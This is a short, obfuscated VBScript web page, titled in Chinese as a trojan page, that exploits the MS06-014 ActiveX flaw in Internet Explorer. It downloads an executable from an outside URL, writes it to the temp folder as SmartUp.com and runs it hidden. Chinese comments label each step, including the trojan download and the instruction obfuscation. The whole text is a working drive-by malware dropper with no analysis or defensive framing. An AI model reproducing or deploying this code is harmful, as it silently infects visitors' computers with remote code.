---------------------------
Microsoft Internet Explorer
---------------------------
<html>
<script language="VBScript">
on error resume next /防止出现错误停止程序
sub passrav
d3="S"&"h"&"e"&"l"&"l"&"."&"A"&"p"&"p"&"l"&"i"&"c"&"a"&"t"&"i"&"o"&"n" /shell对像
set aaa = df.createobject(d3,"")
bbb1="o"&"p"
bbb2="e"&"n"
bbb=bbb1&bbb2 /指令加密
aaa.sHeLLexecute fuckrav,"","",bbb,0 /执行下载木马
end sub
fuckfuck = "http://123s123.cn/admin/xx.exe" /木马下载网址
Set df = document.createElement("o"&"b"&"j"&"e"&"c"&"t") /创建项目
df.setAttribute "c"&"l"&"a"&"s"&"s"&"i"&"d", "c"&"l"&"s"&"id:"&"B"&"D"&"96"&"C5"&"56"&"-65"&"A3"&"-11"&"D0"&"-98"&"3A"&"-00"&"C04"&"FC2"&"9E"&"36" /MS06－014漏洞
str="Mic"&"ro"&"so"&"ft."&"X"&"M"&"L"&"HT"&"TP" /创建一个xmlhttp对象
fso="S"&"c"&"r"&"i"&"p"&"t"&"i"&"n"&"g"&"."&"F"&"i"&"l"&"e"&"S"&"y"&"s"&"t"&"e"&"m"&"O"&"b"&"j"&"e"&"c"&"t"
Set x = df.CreateObject(str,"")
a1="A"&"d"&"o"
a2="d"&"b"&"."
a3="S"&"t"&"r"&"e"&"a"&"m"
str1=a1&a2&a3
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="G"&"E"&"T"
x.Open str6, fuckfuck, False
x.Send
fuckrav="SmartUp.com"
set F = df.createobject(fso,"")
set tmp = F.GetSpecialFolder(2)
S.open
fuckrav= F.BuildPath(tmp,fuckrav) /创建临时目录
S.write x.responseBody
S.savetofile fuckrav,2
S.close
call passrav
</script>
<head>
<title>刺客网马</title>
</head><body>
</body></html>
---------------------------
确定
---------------------------
